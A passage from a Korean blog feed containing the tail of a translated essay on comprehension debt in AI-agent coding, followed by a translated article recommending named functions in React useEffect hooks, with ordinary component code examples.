&lt;p&gt;같은 종류의 실수를 반복해서 고치고 있다면, 미리 테스트나 린트 규칙을 작성하세요. 에이전트가 코드를 설명하고 잠재 문제를 표시하게 한 뒤 사람이 리뷰해야 합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 단순 생산 집착이 아닌, 의도적인 학습&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이미 여러 번 들었겠지만, AI를 지름길이 아니라 학습 도구로 사용하세요. 에이전트가 작성한 코드 중 이해되지 않는 부분이 있다면, 그건 더 깊이 파고들어야 한다는 신호입니다. AI가 생성한 코드를 멘토의 코드처럼 대하세요. 그저 배포하기 위해서가 아니라 배우기 위해 리뷰하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. 아키텍처 위생&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;더 강한 모듈화, 더 명확한 API 경계, 프롬프트에 포함시킬 잘 문서화된 스타일 가이드, 구현 전에 제공할 고수준 아키텍처 설명이 필요합니다. 기획 단계가 늘고, 코딩 단계는 줄고, 리뷰 단계는 문법이 아니라 설계 중심으로 이동합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;잘 하는 개발자는 코드를 가장 많이 생성하는 사람이 아니라, 어떤 코드를 언제 생성할지, 출력을 언제 의심할지, 키보드에서 손을 떼도 이해력을 유지할 줄 아는 사람입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="불편한-진실---스킬-개발에-대하여"&gt;불편한 진실 - 스킬 개발에 대하여&lt;/h2&gt;
&lt;p&gt;여러분의 &amp;quot;읽는&amp;quot; 능력이 에이전트의 &amp;quot;출력&amp;quot; 능력만큼 성장하지 않으면, 더 이상 엔지니어링을 하는 게 아닙니다. 형식적으로 승인하고 있을 뿐입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;저한텐 끓는 개구리 같았어요. ChatGPT에 더 많이 복붙하기 시작했고, 그다음 IDE 프롬프팅이 늘었고, 그다음 에이전트 도구를 쓰게 됐습니다. 어느새 손으로 코딩을 거의 안 하고 있더라고요. 전환이 너무 점진적이라 이미 그 지점에 도달하기 전까지 눈치채지 못했습니다.” &lt;a href="https://news.ycombinator.com/user?id=shawabawa3"&gt;[HN]&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;에이전트를 과도하게 쓰는 사용자에게 기술 퇴화의 초기 징후가 나타나고 있습니다. 모든 걸 AI에 의존하는 주니어 개발자들은 시간이 지나면서 문제 해결에 대한 확신이 줄었다고 보고합니다. 이는 일종의 구글 효과가 코딩에 적용된 것입니다. 계속 아웃소싱하면 뇌는 저장하지 않습니다.&lt;/p&gt;
&lt;p&gt;이 문제의 해답은 알 수 없지만, 저는 이런 걸 해보고 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TDD(테스트 주도 개발): AI가 구현하게 하기 전에 테스트(또는 테스트 케이스)를 쓰거나 생각합니다.&lt;/li&gt;
&lt;li&gt;시니어와 페어링: AI 제안을 실시간으로 논의해서 의사결정 과정을 배웁니다.&lt;/li&gt;
&lt;li&gt;설명 요청: AI가 해결책만 만들지 말고 접근을 정당화하게 합니다.&lt;/li&gt;
&lt;li&gt;번갈아 하기: 감각을 유지하기 위해 일부 기능은 직접 구현합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;위험은 분명합니다. 직접 다시 짤 수 없는 코드를 리뷰하는 건 위험할 정도로 쉽습니다.&lt;/strong&gt; 그 지점에 도달하면, 여러분은 성장을 제한하는 방식으로 도구에 의존하게 됩니다.&lt;/p&gt;
&lt;p&gt;장기적으로 잘 나갈 엔지니어는 AI로 경험을 빨리 쌓되, 건너뛰지는 않는 사람일 것입니다. 기초를 유지하면서 AI로 더 넓은 영역을 더 빨리 탐색합니다.&lt;/p&gt;
&lt;h2 id="우리는-지금-어디에-서-있는가"&gt;우리는 지금 어디에 서 있는가&lt;/h2&gt;
&lt;p&gt;70%에서 80%로의 전환은 단순히 숫자의 문제가 아닙니다. 프로토타입과 운영 환경의 소프트웨어 사이의 간극에 관한 이야기입니다. 그 간극은 좁아지고 있지만, 아직 사라지지는 않았습니다.&lt;/p&gt;
&lt;p&gt;카파시가 핵심적인 질문을 던집니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;‘10X 엔지니어’는 어떻게 될까? 평균과 최고 엔지니어 사이의 생산성 격차는? LLM을 장착한 제너럴리스트가 점점 전문가를 능가하게 될까?&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 질문들이 앞으로 몇 년을 정의할 것입니다.&lt;/p&gt;
&lt;p&gt;한 가지는 확실합니다. 2025년 말 초기 적응자들 사이에서 AI가 코드의 80%를 작성했습니다. 여러분도 이에 비해 비율이 훨씬 낮더라도, 1년 전보다는 높을 가능성이 큽니다. 그래서 결과에 대한 책임, 품질 기준 유지, 테스트가 실제로 동작을 검증하는지 확인하는 등의 인간의 역할에 더 큰 책임을 부여합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;위험한 건 에이전트가 실패하는 게 아닙니다. 오히려 잘못된 방향으로 너무 확신에 차서, 여러분이 방향을 확인하지 않게 되는 데에 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;DORA 2025 리포트가 현실을 명확히 합니다. AI는 개발 프로세스를 증폭기처럼 작동시킵니다. 좋은 프로세스는 더 좋아지고(고성과 팀은 55~70% 더 빠르게 전달합니다), 나쁜 프로세스는 더 나빠집니다(전례 없이 빠르게 부채가 쌓입니다). 만능 해결책은 없습니다.&lt;/p&gt;
&lt;p&gt;카파시의 마지막 관찰이 가장 공감됩니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“에이전트와 함께 프로그래밍 하면 더 재밌을 거라고 예상 못 했어요. 빈칸 채우는 잡무가 많이 사라지고 창의적인 부분만 남아서 더 재밌습니다. 막히는 느낌도 덜하고, 함께 손잡고 조금이라도 진전을 만들 방법이 있다는 용기를 느낍니다.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;그는 또 이렇게도 말합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;quot;LLM 코딩은 코딩 자체를 좋아한 사람과 만드는 걸 좋아한 사람으로 엔지니어를 나눌 겁니다.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;앞으로의 방향에 대한 예측 중 가장 통찰력 있는 예측일지도 모릅니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;수공예와 명상 같이 코드 쓰는 행위 자체를 이 전환이 상실처럼 느껴질 수 있습니다. 하지만 만드는 걸 좋아하고 코드가 수단이었던 사람에게는 해방처럼 느껴질 것입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;어느 쪽도 틀린 건 아닙니다. 하지만 요즘의 도구는 후자에 맞춰 최적화되고 있습니다.&lt;/p&gt;
&lt;h2 id="회의론자에게회의적인-건-맞다"&gt;회의론자에게(회의적인 건 맞다)&lt;/h2&gt;
&lt;p&gt;생산성에 대한 주장들은 종종 과장되어 있습니다. AI는 여전히 유능한 주니어 개발자라면 하지 않을 실수를 합니다. 이해 부채는 실제로 존재하며, 아직 충분히 이해되지도 않았습니다. 슬로파칼립스의 위험도 현실적입니다.&lt;/p&gt;
&lt;p&gt;그럼에도 전환은 이뤄지고 있음은 분명합니다. 카파시가 이제 직접 거의 코드를 쓰지 않는다고 했고, 클로드 코드 팀이 100% AI 작성 코드로 매일 20개 이상 PR 올리고 있다면, 과장으로 치부할 단계는 지났습니다.&lt;/p&gt;
&lt;p&gt;소프트웨어 엔지니어로서 우리 정체성은 &amp;quot;코드를 쓸 수 있는 사람&amp;quot;이 아니라 &amp;quot;소프트웨어로 문제를 해결할 수 있는 사람&amp;quot;이었습니다.&lt;/p&gt;
&lt;p&gt;AI가 엔지니어를 대체하는 게 아닙니다. 좋든 나쁘든 증폭하고 있을 뿐입니다.&lt;/p&gt;
&lt;p&gt;제 조언은 이렇습니다. 도구는 받아들이되, 결과의 책임은 스스로 지세요. AI를 학습을 가속하는 도구로 사용하되, 학습을 건너뛰는 수단으로 쓰지 마세요. 그리고 그 어느 때보다 중요한 기본기에 집중하세요. 견고한 아키텍처, 읽기 쉬운 코드, 꼼꼼한 테스트, 사려 깊은 UX 등 이것들은 여전히 중요합니다. 어쩌면 구현이 더 이상 병목이 아닌 지금, 오히려 더 중요해졌을지도 모릅니다.&lt;/p&gt;
&lt;p&gt;이게 어디로 향할지는 저도 모릅니다. 코딩을 좋아한 사람과 만드는 걸 좋아한 사람으로 나뉠 거라는 카파시 말이 맞을지도 모릅니다. 우리는 그저 PR 하나씩 쌓아가면서 개방된 공간에서 이 변화를 직접 느끼고 있습니다.&lt;/p&gt;
</summary>
    <title>[번역] 에이전트 코딩에서 쌓이는 이해 부채</title>
    <updated>2026-05-13T22:53:23+09:00</updated>
    <dc:date>2026-05-13T22:53:23+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>안샛별</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;blockquote&gt;
&lt;p&gt;원 저자 &lt;a href="https://www.linkedin.com/in/neciudan/"&gt;Dan Neciu&lt;/a&gt;의 허가 하에 &amp;lt;&lt;a href="https://neciudan.dev/name-your-effects"&gt;Start naming your useEffect functions, you will thank me later&lt;/a&gt;&amp;gt; 아티클을 번역한 글입니다. 약간의 의역 및 오역이 포함되어 있을 수 있습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"저는 한 1년 전부터 &lt;code&gt;useEffect&lt;/code&gt; 함수에 이름을 붙이기 시작했습니다. 그 이후로 컴포넌트를 읽고 디버깅하는 방식, 그리고 컴포넌트 구조를 잡는 방식까지 달라졌습니다."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난달에 동료가 올린 PR을 읽었습니다.&lt;/p&gt;
&lt;p&gt;PR 코드엔 처음 보는 컴포넌트가 있었고 창고 API와 재고를 동기화하는 로직이 구현되었습니다. 약 200줄 분량에 4개의 &lt;code&gt;useEffect&lt;/code&gt;를 호출하고 있었습니다. 하나씩 읽으면서 의존성 배열을 따라가고, 어떤 상태가 어떤 이펙트에 속하는지, 무엇이 무엇을 트리거하는지 파악하는 데 꼬박 1분이 걸렸습니다.&lt;/p&gt;
&lt;p&gt;이런 경험을 수도 없이 해봤고, 여러분도 아마 마찬가지일 겁니다.&lt;/p&gt;
&lt;p&gt;코드 자체에 문제가 있는 게 아니었습니다. 잘 작성된 코드였고, 이펙트도 관심사별로 올바르게 분리되어 있었습니다.&lt;/p&gt;
&lt;p&gt;그럼에도 각 이펙트가 무슨 일을 하는지 파악하려면 모든 줄을 다 읽어야 했습니다. &lt;code&gt;useEffect(() =&amp;gt; {&lt;/code&gt;는 의도에 대해 아무것도 알려주지 않기 때문입니다. 코드가 언제 실행되는지는 알 수 있지만, 왜 실행되는지는 알 수 없습니다.&lt;/p&gt;
&lt;p&gt;이건 클래스 컴포넌트 시대로부터 물려받은 유산이기도 합니다. &lt;code&gt;componentDidMount&lt;/code&gt;와 &lt;code&gt;componentDidUpdate&lt;/code&gt;만 있던 시절에는 생명주기 이벤트마다 사이드 이펙트 코드를 넣을 수 있는 곳이 딱 하나뿐이었습니다.&lt;/p&gt;
&lt;p&gt;그 제약 덕분에 코드의 위치만 봐도 언제 실행되는지 알 수 있었고, "왜"는 주석이나 코드를 직접 읽어야만 알 수 있었습니다.&lt;/p&gt;
&lt;p&gt;훅은 생명주기 제약에서 우리를 해방시켰지만, 그 자리를 익명 화살표 함수가 어두컴컴하게 메꿨습니다.&lt;/p&gt;
&lt;p&gt;거대한 생명주기 메서드 하나 대신, 이제는 익명 클로저가 줄줄이 늘어서 있고, 무슨 일을 하는지 알려면 구현 코드를 직접 읽어야 합니다.&lt;/p&gt;
&lt;p&gt;저는 1년 전부터 이펙트 함수에 이름을 붙이기 시작했습니다. 리액트를 작성하는 방식에서 가장 작은 변화였지만, 읽는 방식에 가장 큰 영향을 미쳤습니다.&lt;/p&gt;
&lt;h2 id="익명-이펙트-함수의-문제"&gt;익명 이펙트 함수의 문제&lt;/h2&gt;
&lt;p&gt;아까 언급한 재고 컴포넌트를 단순화하면 이렇습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;function InventorySync({ warehouseId, locationId, onStockChange }) {
  const [stock, setStock] = useState&amp;lt;StockLevel[]&amp;gt;([]);
  const [connected, setConnected] = useState(false);
  const prevLocationId = useRef(locationId);

  useEffect(() =&amp;gt; {
    const ws = new WebSocket(`wss://inventory.api/ws/${warehouseId}`);
    ws.onopen = () =&amp;gt; setConnected(true);
    ws.onclose = () =&amp;gt; setConnected(false);
    ws.onmessage = (event) =&amp;gt; {
      const update = JSON.parse(event.data);
      setStock(prev =&amp;gt; prev.map(s =&amp;gt;
        s.sku === update.sku ? { ...s, quantity: update.quantity } : s
      ));
    };
    return () =&amp;gt; ws.close();
  }, [warehouseId]);

  useEffect(() =&amp;gt; {
    if (!connected) return;
    fetch(`/api/warehouses/${warehouseId}/stock?location=${locationId}`)
      .then(res =&amp;gt; res.json())
      .then(setStock);
  }, [warehouseId, locationId, connected]);

  useEffect(() =&amp;gt; {
    if (prevLocationId.current !== locationId) {
      setStock([]);
      prevLocationId.current = locationId;
    }
  }, [locationId]);

  useEffect(() =&amp;gt; {
    if (stock.length &amp;gt; 0) {
      onStockChange(stock);
    }
  }, [stock, onStockChange]);

  // ... render
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이펙트가 네 개입니다. 각각 무슨 일을 할까요? 첫 번째 이펙트는... 웹소켓을 연결하는 것 같습니다. 두 번째는 &lt;code&gt;connected&lt;/code&gt;가 바뀔 때 무언가를 가져오는 것 같습니다. 세 번째는 위치가 바뀔 때 재고를 초기화합니다. 네 번째는... 재고가 업데이트될 때마다 props로 받은 콜백을 호출합니다.&lt;/p&gt;
&lt;p&gt;방금 머릿속 컴파일러가 네 번 돌아갔습니다.&lt;/p&gt;
&lt;p&gt;마우스를 댄다고 해서 타입 정보를 볼 수 없고, 제한된 컨텍스트로 변경사항을 훑어볼 수밖에 없는 GitHub 코드 리뷰에서는 이 지점에서 이해 속도가 뚝 떨어집니다.&lt;/p&gt;
&lt;p&gt;PR에 들어 있는 컴포넌트마다 이 과정을 반복해야 합니다.&lt;/p&gt;
&lt;p&gt;이제 동일한 컴포넌트를 다듬은 버전으로 읽어보세요.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;function InventorySync({ warehouseId, locationId, onStockChange }) {
  const [stock, setStock] = useState&amp;lt;StockLevel[]&amp;gt;([]);
  const [connected, setConnected] = useState(false);
  const prevLocationId = useRef(locationId);

  useEffect(function connectToInventoryWebSocket() {
    const ws = new WebSocket(`wss://inventory.api/ws/${warehouseId}`);
    ws.onopen = () =&amp;gt; setConnected(true);
    ws.onclose = () =&amp;gt; setConnected(false);
    ws.onmessage = (event) =&amp;gt; {
      const update = JSON.parse(event.data);
      setStock(prev =&amp;gt; prev.map(s =&amp;gt;
        s.sku === update.sku ? { ...s, quantity: update.quantity } : s
      ));
    };
    return () =&amp;gt; ws.close();
  }, [warehouseId]);

  useEffect(function fetchInitialStock() {
    if (!connected) return;
    fetch(`/api/warehouses/${warehouseId}/stock?location=${locationId}`)
      .then(res =&amp;gt; res.json())
      .then(setStock);
  }, [warehouseId, locationId, connected]);

  useEffect(function resetStockOnLocationChange() {
    if (prevLocationId.current !== locationId) {
      setStock([]);
      prevLocationId.current = locationId;
    }
  }, [locationId]);

  useEffect(function notifyParentOfStockUpdate() {
    if (stock.length &amp;gt; 0) {
      onStockChange(stock);
    }
  }, [stock, onStockChange]);

  // ... render
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이제 함수 이름 네 개만 훑으면 전체 데이터 흐름을 파악할 수 있습니다. 웹소켓 연결, 초기 재고 조회, 위치 변경 시 초기화, 부모에게 알림.&lt;/p&gt;
&lt;p&gt;특정 버그를 디버깅할 게 아니라면 코드 한 줄도 읽을 필요가 없습니다.&lt;/p&gt;
&lt;p&gt;변경 사항은 문법뿐입니다. &lt;code&gt;useEffect&lt;/code&gt;에 익명 화살표 함수 대신 기명 함수 표현식(named function expression)을 전달합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;// 익명 화살표 함수 (모두가 쓰는 방식)
useEffect(() =&amp;gt; {
  document.title = `${count} items`;
}, [count]);

// 기명 함수 표현식 (제가 권장하는 방식)
useEffect(
  function updateDocumentTitle() {
    document.title = `${count} items`;
  },
  [count],
);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;함수를 따로 선언해서 이름으로 전달하는 방법(&lt;code&gt;useEffect(updateDocumentTitle, [count])&lt;/code&gt;)도 있지만, 저는 인라인 방식을 선호합니다. 이름이 호출 지점 바로 옆에 있어서 함수 선언을 찾아 위로 스크롤할 필요가 없기 때문입니다.&lt;/p&gt;
&lt;p&gt;디버깅 측면에서도 이점이 있습니다.&lt;/p&gt;
&lt;p&gt;익명 화살표 함수에서 에러가 발생하면 &lt;code&gt;at (anonymous) @ InventorySync.tsx:14&lt;/code&gt;처럼 표시됩니다.&lt;/p&gt;
&lt;p&gt;한 파일에 이펙트가 네 개 있다면 이 정보는 아무 쓸모가 없습니다.&lt;/p&gt;
&lt;p&gt;기명 함수를 쓰면 &lt;code&gt;at connectToInventoryWebSocket @ InventorySync.tsx:14&lt;/code&gt;처럼 표시되어, 파일을 열지 않고도 어떤 이펙트가 문제인지 바로 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;Sentry 같은 모니터링 도구로 에러 리포트를 분류할 때 특히 유용합니다. 리액트 DevTools 프로파일링에서도 마찬가지입니다. 기명 함수는 이름으로 표시되지만, 익명 함수는 말 그대로 익명으로 표시됩니다.&lt;/p&gt;
&lt;h2 id="이름을-붙이면-과도한-책임이-보입니다"&gt;이름을 붙이면 과도한 책임이 보입니다&lt;/h2&gt;
&lt;p&gt;가독성 측면의 이점만으로도 충분하지만, 이펙트에 이름을 붙이기 시작하면서 다른 일도 일어났습니다. 이펙트를 작성하는 방식 자체에 변화가 생겼습니다.&lt;/p&gt;
&lt;p&gt;이 이펙트에 이름을 붙여보세요.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;useEffect(() =&amp;gt; {
  const handleResize = () =&amp;gt; setWidth(window.innerWidth);
  window.addEventListener("resize", handleResize);

  if (user?.preferences?.theme) {
    document.body.className = user.preferences.theme;
  }

  return () =&amp;gt; window.removeEventListener("resize", handleResize);
}, [user?.preferences?.theme]);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;뭐라고 부를까요? &lt;code&gt;syncWidthAndApplyTheme&lt;/code&gt;? "and"가 들어간다는 건 경고 신호와 같습니다. 이펙트가 서로 관련 없는 두 가지 일을 하고 있다는 뜻이기 때문입니다.&lt;/p&gt;
&lt;p&gt;"and"나 "also"를 쓰지 않고는 이름을 붙이기 힘들다면, 이펙트가 분리되어야 한다는 신호입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;useEffect(function trackWindowWidth() {
  const handleResize = () =&amp;gt; setWidth(window.innerWidth);
  window.addEventListener("resize", handleResize);
  return () =&amp;gt; window.removeEventListener("resize", handleResize);
}, []);

useEffect(
  function applyUserTheme() {
    if (user?.preferences?.theme) {
      document.body.className = user.preferences.theme;
    }
  },
  [user?.preferences?.theme],
);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;명확하게 이름을 붙일 수 없다면, 하는 일이 너무 많다는 뜻입니다. 리액트도 생명주기 타이밍이 아니라 관심사별로 이펙트를 분리하도록 권장합니다.&lt;/p&gt;
&lt;p&gt;이름은 주석으로는 할 수 없는 방식으로 그 원칙을 드러냅니다. 주석은 금세 뒤처지지만 이름은 항상 읽힙니다.&lt;/p&gt;
&lt;p&gt;이 효과는 &lt;code&gt;useEffect&lt;/code&gt;에만 국한되지 않습니다. &lt;code&gt;useCallback&lt;/code&gt;, &lt;code&gt;useMemo&lt;/code&gt;, 리듀서 함수 등 훅에 익명 함수를 전달하는 모든 곳에서 이름은 코드를 읽는 다음 사람에게 도움이 됩니다. 하지만 &lt;code&gt;useEffect&lt;/code&gt;에서 효과가 가장 큽니다. 이펙트는 한눈에 이해하기 가장 어려운 훅이기 때문입니다. 실행되는 타이밍이 직관적이지 않고, 보이지 않는 클린업 규칙이 있으며, 의존성을 직접 역추적해야 합니다.&lt;/p&gt;
&lt;p&gt;클린업 함수에도 이름을 붙일 수 있습니다. 익명 화살표 함수를 반환하는 대신 기명 함수를 반환하면 됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;useEffect(
  function pollServerForUpdates() {
    const intervalId = setInterval(() =&amp;gt; {
      fetch(`/api/status/${serverId}`)
        .then((res) =&amp;gt; res.json())
        .then(setServerStatus);
    }, 5000);

    return function stopPollingServer() {
      clearInterval(intervalId);
    };
  },
  [serverId],
);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;클린업은 컨텍스트에서 목적이 명확할 때가 많아서 항상 이름을 붙이지는 않습니다. 하지만 클린업 로직이 복잡할 때는 &lt;code&gt;pollServerForUpdates&lt;/code&gt;와 &lt;code&gt;stopPollingServer&lt;/code&gt;처럼 대칭되는 이름이 설정과 해제의 역할을 한눈에 드러냅니다.&lt;/p&gt;
&lt;h2 id="필요-없는-이펙트는-이름에서부터-알-수-있습니다"&gt;필요 없는 이펙트는 이름에서부터 알 수 있습니다&lt;/h2&gt;
&lt;p&gt;어떤 이펙트는 이름을 붙이기가 애매한데, 그 애매함 자체가 신호입니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;updateStateBasedOnOtherState&lt;/code&gt;나 &lt;code&gt;syncDerivedValue&lt;/code&gt; 같은 이름이 떠오른다면, 멈추세요.&lt;/p&gt;
&lt;p&gt;그런 모호함은 대개 그 코드가 이펙트에 속하지 않는다는 뜻입니다. 이름 붙이기가 어려운 건 이펙트로 처리해선 안 될 일을 하고 있기 때문입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;// 아마 이건 필요 없습니다
useEffect(
  function syncFullName() {
    setFullName(`${firstName} ${lastName}`);
  },
  [firstName, lastName],
);

// 그냥 파생하면 됩니다
const fullName = `${firstName} ${lastName}`;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;왜 이펙트 버전이 더 나쁠까요? 렌더 사이클이 하나 더 발생하기 때문입니다.&lt;/p&gt;
&lt;p&gt;리액트가 컴포넌트를 렌더링하고, 이펙트를 실행하면 &lt;code&gt;setFullName&lt;/code&gt;이 호출되고, 업데이트된 값으로 렌더링이 다시 일어납니다.&lt;/p&gt;
&lt;p&gt;화면이 두 번 업데이트되는 데다, &lt;code&gt;fullName&lt;/code&gt;이 이전 값으로 잠깐 렌더링되는 순간도 생깁니다.&lt;/p&gt;
&lt;p&gt;파생 버전은 렌더 중에 값을 계산하므로 항상 정확하고 항상 동기화 상태이며, 리액트에 추가 부담을 주지 않습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;// 이것도 아마 필요 없습니다
useEffect(
  function resetFormOnSubmit() {
    if (submitted) {
      setName("");
      setEmail("");
      setSubmitted(false);
    }
  },
  [submitted],
);

// 이벤트 핸들러에 넣으세요
function handleSubmit() {
  submitForm({ name, email });
  setName("");
  setEmail("");
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;폼 초기화는 이벤트 핸들러가 처리해야 할 일입니다. 사용자가 제출 버튼을 클릭하는 건 사용자 인터랙션이므로 인터랙션이 발생하는 곳에서 처리해야 합니다. 이펙트 버전은 &lt;code&gt;submitted&lt;/code&gt; 플래그 변경에 반응하고, 이 추가 단계가 흐름을 파악하기 어렵게 만듭니다.&lt;/p&gt;
&lt;p&gt;이펙트가 8~9개 달린 컴포넌트에서, 그 절반은 애초에 이펙트가 필요 없는 상태 간 동기화였던 경우를 여러 번 봤습니다.&lt;/p&gt;
&lt;p&gt;AI 코드 생성 도구는 이 문제를 더 악화시킵니다. 이펙트를 잘못 사용한 수백만 개의 예시로 학습했기 때문에, 같은 안티패턴을 자신 있게 재현합니다. 잘못된 코드가 다시 학습 데이터가 되는 악순환입니다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;InventorySync&lt;/code&gt; 예시로 돌아가보면, 네 번째 이펙트인 &lt;code&gt;notifyParentOfStockUpdate&lt;/code&gt;가 바로 이런 의심을 품어볼 만한 후보입니다.&lt;/p&gt;
&lt;p&gt;상태 변화에 반응하는 이펙트 안에서 부모 콜백을 호출하는 패턴은 리액트 공식 문서의 "You Might Not Need an Effect"에서 구체적으로 언급한 패턴 중 하나입니다.&lt;/p&gt;
&lt;p&gt;부모가 데이터를 직접 가져오거나, 재고 업데이트 시 소스(웹소켓 핸들러, fetch의 &lt;code&gt;.then&lt;/code&gt; 콜백)에서 콜백을 호출하는 방법도 있습니다.&lt;/p&gt;
&lt;p&gt;실제 코드베이스에서 매우 흔한 패턴이라 예시에 남겨뒀지만, 이름을 붙이면서 문제가 눈에 띄었습니다. &lt;code&gt;notifyParentOfStockUpdate&lt;/code&gt;는 이름만으로 하는 일을 정확히 드러냅니다. 그리고 바로 그 명확함이 이 이펙트가 정말 필요한지 되묻게 만들었습니다.&lt;/p&gt;
&lt;p&gt;이 검토를 통과하는 이름에는 패턴이 있습니다. 외부 시스템과 진정으로 동기화하는 이펙트는 대체로 명확하고 구체적인 이름을 가집니다. &lt;code&gt;connectToWebSocket&lt;/code&gt;, &lt;code&gt;initializeMapInstance&lt;/code&gt;, &lt;code&gt;subscribeToGeolocation&lt;/code&gt;처럼 동사에서 이펙트의 종류를 알 수 있습니다. subscribe와 listen은 이벤트 기반, synchronize와 apply는 외부 시스템을 동기 상태로 유지하는 것, initialize는 일회성 설정을 의미합니다.&lt;/p&gt;
&lt;p&gt;열심히 고른 이름에서 내부 상태를 이리저리 옮기는 느낌이 든다면, 그 코드는 다른 곳에 있어야 합니다.&lt;/p&gt;
&lt;p&gt;리액트 19는 이 흐름을 더욱 밀어붙입니다. Actions는 뮤테이션을 처리하고, &lt;code&gt;use()&lt;/code&gt;는 데이터 패칭을 처리하며, 서버 컴포넌트는 데이터 로딩을 위한 클라이언트 사이드 이펙트를 완전히 없앱니다.&lt;/p&gt;
&lt;p&gt;현대 리액트 앱에 남는 이펙트는 외부 시스템과 진짜로 연동되는 코드이고, 바로 그 이펙트에 이름을 잘 붙일 가치가 있습니다.&lt;/p&gt;
&lt;h2 id="이름-붙이기-vs-커스텀-훅"&gt;이름 붙이기 vs 커스텀 훅&lt;/h2&gt;
&lt;p&gt;Kyle Shevlin이 "useEncapsulation"이라는 훌륭한 글을 썼습니다. 모든 &lt;code&gt;useEffect&lt;/code&gt;는 커스텀 훅 안에 있어야 한다는 주장이었습니다.&lt;/p&gt;
&lt;p&gt;그의 논거는 실제 문제에서 출발합니다. 컴포넌트에 훅이 늘어날수록, 한 관심사에 속하는 구현 세부 사항들이 관련 없는 훅 선언들 사이에 흩어지게 됩니다.&lt;/p&gt;
&lt;p&gt;커스텀 훅은 한 관심사의 상태, 이펙트, 핸들러를 한 곳에 모아 이 문제를 해결합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;function useWindowWidth() {
  const [width, setWidth] = useState(
    typeof window !== "undefined" ? window.innerWidth : 0,
  );

  useEffect(function trackWindowWidth() {
    const handleResize = () =&amp;gt; setWidth(window.innerWidth);
    window.addEventListener("resize", handleResize);
    return () =&amp;gt; window.removeEventListener("resize", handleResize);
  }, []);

  return width;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(&lt;code&gt;typeof window !== 'undefined'&lt;/code&gt; 체크는 Next.js처럼 서버 사이드 렌더링을 지원하는 프레임워크에서 필요합니다. 서버에서 컴포넌트가 처음 렌더링될 때는 &lt;code&gt;window&lt;/code&gt;가 존재하지 않기 때문입니다. 순수 클라이언트 사이드 앱을 만든다면 &lt;code&gt;window.innerWidth&lt;/code&gt;를 바로 써도 됩니다.)&lt;/p&gt;
&lt;p&gt;그런데 &lt;code&gt;useWindowWidth&lt;/code&gt; 안에서도 여전히 &lt;code&gt;useEffect&lt;/code&gt;에 이름을 붙였다는 점을 주목하세요.&lt;/p&gt;
&lt;p&gt;커스텀 훅 안에도 이펙트가 여러 개 있을 수 있고, 그 안에서 디버깅할 때 스택 트레이스에 기명 함수가 있으면 여전히 도움이 됩니다.&lt;/p&gt;
&lt;p&gt;모든 것을 커스텀 훅으로 만들 필요는 없습니다. 특정 컴포넌트의 동작에만 쓰이고 재사용될 일이 없는 일회성 이펙트도 있습니다.&lt;/p&gt;
&lt;p&gt;그런 이펙트를 &lt;code&gt;useCloseOnEscapeKeyForThisSpecificModal&lt;/code&gt;로 빼내는 건 아무 이득 없이 간접 계층만 늘리는 일입니다. 리액트 공식 문서도 조기 추상화를 경계합니다. 함수 컴포넌트가 하는 일이 많아질수록 길어지는 건 자연스러운 일이며, 로직이 생겼다고 해서 즉시 별도 파일로 분리할 필요는 없습니다.&lt;/p&gt;
